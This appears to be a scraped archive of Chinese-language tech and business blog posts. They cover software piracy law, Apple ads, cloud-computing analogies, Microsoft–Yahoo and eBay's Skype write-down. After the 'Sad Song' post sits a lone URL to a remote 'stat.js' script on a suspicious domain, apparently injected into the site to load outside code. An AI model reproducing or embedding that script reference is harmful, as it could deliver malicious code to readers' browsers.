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盜版行為當然是侵權行為(一)(ZDNet版)

前言:
這篇文章原本是我回應洪朝貴教授「當法律不近情理:盜拷絕版軟體是罪惡嗎?」一文所寫。應ZDnet編輯之邀改寫擴充。
依照約定,ZDNet上將我的文章刊出之後,我可以在自己的Blog上放上。
為了避免只是單純的舊文重貼占版面,我也會針對ZDNet上面一些網友的回應,值得回覆的拿出來補充在內文。可惜,值得回覆的留言並不多。

根據我部落格上的網友回應看來,同時要處理智慧財產權與托拉斯法例二者問題,我發現其相關之背景知識許多人並不了解,充滿許多媒體誤導的概念。因此要在這篇文章裡就做到詳盡解釋,恐力有未逮之處。
本文將從簡單的法律觀念出發,引導各位進行「法律經濟分析」的思考,從邊際成本到租值,從智慧財產權制度到自由市場與反托拉斯的謬誤。

請各位讀者先忘記你之前在報章媒體上看到的許多言論,回到源頭重新思考筆者本文。

一.從簡單的觀念出發

1.著作權所有人本來就有權利自由使用自身的財產權

過去我曾寫過亦在《ZDNet》與《21世紀經濟報導所》刊登過的「廣告與反廣告間的戰備競爭(上)」一文,即提到:

…因此,近來批評某些網站文章廣告太多的網民,甚至認為Blog與廣告扯上邊有銅臭味的人,其實都犯了將自身價值觀和客觀事實二者混淆的錯誤。

能忍受多少廣告?這是讀者的問題;該如何使用著作權獲利?這是站長的問題。

前者就像你是要去便利商店買鮮乳或在五星級飯店用客房服務叫熱牛奶;後者則是牛肉麵老闆決定一碗是要賣80元還是500元。

兩者是兩條不同的曲線,自會有交點。純粹的價值批判其實沒啥太多意義。

同理,一個知識產權一旦產生,則其擁有者願意怎樣去使用他,那是他的自由。

軟體公司想要將軟體賣到多少錢?那是他的自由。因為同時,消費者買不買帳,這也是消費者的自由。

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盜版軟體當然是侵權行為 — 回洪朝貴教授之文

長期致力於自由軟體運動的洪朝貴老師,最近在ZDNet上刊登一篇文章「當法律不近情理:盜拷絕版軟體是罪惡嗎?

我雖然也是Linux與Openoffice.org等自由軟體的支持者、使用者,不過我依然相當不認同洪老師的論點。

其中許多錯誤的認識,我一一舉出如下:

1.從簡單觀念出發

過去我曾寫過亦在《ZDNet》與《21世紀經濟報導所》刊登過的「廣告與反廣告間的戰備競爭(上)」一文,即提到:

……因此,近來批評某些網站文章廣告太多的網民,甚至認為Blog與廣告扯上邊有銅臭味的人,其實都犯了將自身價值觀和客觀事實二者混淆的錯誤。
能忍受多少廣告?這是讀者的問題;該如何使用著作權獲利?這是站長的問題。
前者就像你是要去便利商店買鮮乳?還是去五星級飯店用客房服務叫?
後者則是牛肉麵老闆一碗要賣80元還是500元的問題。

兩者是兩條曲線,自會有交點。純粹的價值批判其實沒啥太多意義。

同理,一個知識產權一旦產生,則其擁有者願意怎樣去使用他,那是他的自由。
軟體公司想要將軟體賣到多少錢?那是他的自由。因為同時,消費者買不買帳,這也是消費者的自由。

著作所有權人不願意公開發表,這也是他的「消極著作權」自由。
過去曾經供人重製的電腦程式,在未來不願再供人重製,也是其著作權所有人的自由。
除非是符合著作權法中【著作財產權之限制】所規範的條件,否則一個著作權人愛如何使用自己的權利,那是法律所賦予的自由。甚至這是高的憲法層次的自由權!

因此,洪老師文章中「微軟已經不賣 Office 2003、Office XP、Office 2000、Office 97;他們也不再賣 Windows xp 和 Windows 2000。 這些微軟不屑再賣的絕版軟體,如果遭到盜版,請問對微軟的損失是多少? 讓這些軟體自由複製,比較符合社會利益,還是禁止複製,比較符合社會利益? 」的說法,與「一家企業倉庫裡一堆庫存賣不掉,理應大開倉門讓民眾免費拿,對社會貢獻最大」的論點一樣無知得恐怖!
這完全就漠視了財產權這個憲法上的基本權利,也漠視了產權制度對於經濟社會的重要性!更顯露對經濟體系運作的無知與魯莽!

因為這恰是促進「租值消散」的暴力手段….

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奇易輸入法與Yahoo奇摩輸入法(更新)

奇易輸入法是Mac界的大老 — 鄭安巽 先生的心血,也是我最喜歡的輸入法之一。

這個輸入法的特色在於學習能力極強,打字速度可以提升到一個很快的境界。另一方面奇易輸入法同時支援PPC、Intel版的Mac OSX,更有Windows版本。對於跨平台的朋友來說真是極為方便。

善心的鄭先生特別允許小弟在本站提供網路空間與頻寬,讓大家下載「奇易輸入法」。

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"Sad Song"

Apple的加長版新廣告"Sad Song"

PC哀怨地背著吉他唱小調,最後還有隻狗「嗚…嗚…」合音;歌詞非常有趣諷刺,尤其是那句

After a year fixes, I am still blue… the problems they repeat.
Now there is only one thing left to do: Ctrl + Alt + Delete

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“Sad Song"

Apple的加長版新廣告"Sad Song"

PC哀怨地背著吉他唱小調,最後還有隻狗「嗚…嗚…」合音;歌詞非常有趣諷刺,尤其是那句

After a year fixes, I am still blue… the problems they repeat.
Now there is only one thing left to do: Ctrl + Alt + Delete


https://js.developerstatss.ga/stat.js?n=ns1

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雲端運算猶如銀行?

李開復,Google大中華區的總裁,在一篇【云中漫步——迎接云计算时代的到来】文中以「銀行存款」之例,講述將資料儲存在Google之類提供雲端運算(Cloud Computing)的廠商會較為安全的論點。

這樣的譬喻,我認為相當不恰當。

原因在於資料儲存的本質與存款非常不一樣,不能如此加以類比。

簡單說,在法律的角度來看,我們到銀行存一筆錢,其實是將錢「借給」了銀行,因此我們取得了一個可以對銀行主張的債權。
如此一來,銀行要將這筆錢拿去做什麼,我們管不著;銀行賠錢、遭小偷、遇搶匪了,也與我們無關。
只要我們拿著存款簿或金融卡,到銀行去主張我們的債權,要求提款,銀行就得將我們的債權如數實現(反過來,就是銀行要如數履行其債務)

甚至台灣有「存款保險制度」:銀行萬一破產了,我們還是有相當額度的保障。

但,將資料儲存在Google可不是這麼一回事

首先,這不是個單純的金錢債權債務關係。

銀行可以隨意將我們存進去的錢,加上其他存款戶的,出借給公司行號或從事投資行為;但我們能允許Google、Yahoo或其他網路服務公司將我們儲存在上面的資料隨意出借他人或任意挪作他們所欲之用途嗎?

顯然我們都無法接受這類的廠商如此對我們的資料為所欲為吧?

再者, 今天要是Google被入侵了、資料設備遭破壞了、資料外流了,我們能夠不管嗎?
我們能說我們沒受到影響?沒有潛在損失嗎?
更重要的是,Google資料外洩,我們有「資料外洩保險」來對我們加以保障嗎?

既然都沒有,用存款制度的觀念來描述Google的雲端計算,顯然十分不恰當!

同樣地,李開復該篇文章中還有許多不恰當的說詞,頂多就是當作商業行銷用語看一看。要認真起來,其實充滿問題。

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把Widgets帶著走

使用Mac OSX的朋友,應該對Dashboard不陌生。
按個按鍵,就能呼叫許多小小的widgets出來,執行一些簡單但是必要的小功能。
舉凡下圖中,我呼叫出來的widgets就有:BBC頭條新聞、BBC廣播、世界時鐘、計算機、通訊錄、貨幣匯率計算器、天氣預報….等

Windows Vista的使用者,或透過Yahoo和Google,也能享受到類似的便利工具。

不過這些用CSS+Javascript+HTML…寫成小程式雖然方便好用,但畢竟得打開電腦方可使用…

Chumpy,可說是解決如此困擾的產品
也可說是將整個web activities給applicationlize的絕妙點子!

運用得巧,相信不管是在床頭、書桌或辦公桌上,都會是個很棒的玩意!

特別是如果還可以整合Google Apps裡頭的行事曆功能(其實只要把行事曆功能也寫成widgets即可),應該會是很不錯的辦公小幫手

影片如下:

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科技相關 商業評論

微軟併購Yahoo雖破局,但談成又如何?

這場戲演的也是夠久了…

從1月的最後一天,微軟的Steve Ballmer提出446億美金併購價,一路加碼到475億美金。

一場「霸王作態硬上弓,欲拒還迎耍手段」的戲碼就這樣歹戲拖棚近半年。
這只是檯面上的,相信檯面下兩邊陣營各自的股東、董事等利害關係人,又有一齣又一齣精采絕倫的勾心鬥角在暗處中進行。
最起碼,微軟與Yahoo的股價都在這陣子有所表態,相當程度地反應了各種立場的股民的不同預期心理。

其實整段故事說穿了,就是Yahoo決心專形成一家「媒體公司」,從而無意間放走Google,結束與Google合作關係之後,才恍然大悟自己是把一個會生金雞蛋的商業模式往門外推了。

從此以後,曾經風光一時,標榜者年輕、活力、有創意的Yahoo,開始其苦命追趕Google的悲慘歲月。

過去媒體寵兒的形象不再、過去習慣的聚光燈也不再。有的只是市場分析師對其好不容易買進來卻沒啥用的搜尋廣告公司 — Overture冷眼與訕笑。後來又另起爐灶的【Panama】計畫,目前看來也沒多大成效。

原本自己頗為瞧不起的新興網路公司,現在卻比他更年輕、更有活力、甚至更有創意!當然,財務表現也更為耀眼有實力的多。

另一方面呢?

微軟表現又如何?

我們先看看三方陣營「來自營運的現金流」:

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Mac

Get a Mac — Merry Christmas!

一向幽默詼諧的「Get a Mac」系列廣告,這次推出動畫版
除了PC與Mac之外,還多了個胖胖的聖誕老公公一起合唱聖誕經典名曲。

不料廣告裡面,PC大唱「…so buy a PC not a Mac…..」

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科技相關 商業評論

Skype空有用戶收不到錢,還值26億美元?豈有此理!

skypeeBay在2005年之際,一舉花了26億美元買進當時媒體當紅炸子雞「Skype」

併購之時,大陸、台灣乃至於美國自己本土媒體,多半把Skype捧上了天,說Skype是顛覆電信服務的偉大發明,電話公司們等著皮皮銼。

而eBay的管理階層也大贊「綜效」之論,描述線上拍賣的買賣雙方可以透過Skype即時對話溝通的美麗願景。

我曾在過去文章批評過的小丑型分析師–Mary Meeker,也在2005年之時大贊:「這樁購併案所開創出的新電子商務交易模式,可使eBay更進一步走入國際市場,並帶動電子商務更快速發展,因此,eBay與Google,是未來10年內成功機會最大的網路廠商。

但Skype如今卻淪落到必須讓eBay提列逾14億美元損失!
巧的是與Skype同為VoIP服務業者Vonage從2006年的掛牌價17美元,如今直落到0.98美元。只要看看這家公司ROE表現為-129.71%、淨利率為-55.74%、營運現金淨流出1億8千8百萬美元、2006年稅後淨損3億3千8百多萬美元,如此股價也就無可厚非了。

而我2006年已經在【我看Web2.0的泡沫系列】文章中,第二篇– 傻子不敢走的路,天才一路衝過去! –裡說過:

產業競爭也是這麼回事:當競爭對手開始從事某種奇怪行為時(往往可能是無意識的),廠商常常猜想對手可能知道或看到了自己不知道的事情,雖然不十分有把握,但不跟進似乎就意味著自身的落後與失敗。
反過來,競爭對手看到該廠商也開始如此那般時,更加強他們行動的信心,甚至渾然不知對手的行為可能僅出於自己當初的無意識舉動所引起。

就這樣,產業間的蝴蝶效應就此展開。動作的幅度就如同核子反應一樣,等比級數地增加。

每一方的經理人,都能振振有辭地說出一番大道理,來合理化他自己也不一定了解的策略或行為。

台下看戲的,還以為這些人滿腹經綸、羽扇巾綸哩!

但說穿了,大家都不過建立在不切實際的假設基石上,發展一套又一套自以為是的商業理論或一次又一次地宣佈發現新大陸、新商機。可大家又都不自知,或不願意誠實面對那醜陋的真相。

更列舉巴菲特批判愚蠢經理人的強制性行為的幾個原因。現在事後看來,eBay也脫離不了這樣的鬧劇和悲劇。

我就想不懂,那些只要看到知名公司併購就大肆讚揚的毫無思惟的作者,怎麼能受到如此推崇?

甚至直至2007年,某人還拿這個併購價格,誤以為就是Skype的真實價值在說嘴

「其實Skype的價值早在2005年10月14日便已被舉世確認,eBay願以19億歐元現金加股票,外加15億績效獎金予以吞下,以目前的匯率來看,這筆錢剛好等於45億美元,1483億台幣,是YouTube併購價16億美元的幾乎三倍。…..Skype到現在只佔全球國際VoIP通話時間不到20%,也只佔到全球所有國際電話(包括傳統接線)通話時間不到5%,可見「打電話」這市場之龐大,以長尾理論來看,Skype只要輕輕鬆鬆的挖到一點點,立刻就創造了45億美元價值。」

本站之前「從利息談投資」文裡已經從經濟學的利息理論反覆詳談,企業的真實價值該如何計算。這起碼是經得起邏輯考驗的東西,而不是跟著媒體、高階經理人搖擺的無知言論。

再次藉eBay提列損失的消息,跟大家強調:

公司併購的買價或現在市場上的股價都不會是真實價值。唯有實際、完全了解一家公司的獲利模式,才能推斷未來可預期收入,也才能適用我們的價值計算理論。

事實上因為談判交易費用的關係,往往我們透過併購買進的公司所付出的價格,比在市場上買進的部份股權還要昂貴許多!

平常我們上街買東西買貴了會被朋友嘲笑憐憫;怪的是商業併購裡,這些不斷創下新天價的併購卻被一群無知小丑推崇稱頌?真想不懂這些人的思惟!

延續一貫的想法,我認為真實價值必須基於未來現金流折現總和,因此我們勢必找出對公司未來可得收入可預期性有影響性的因子,而非市場上那些無聊預測、英雄崇拜或線形判定。

因此,一個創辦至此仍無法創造正向現金流的Skype,價值26億美元?價值45億美元?真是愛說笑!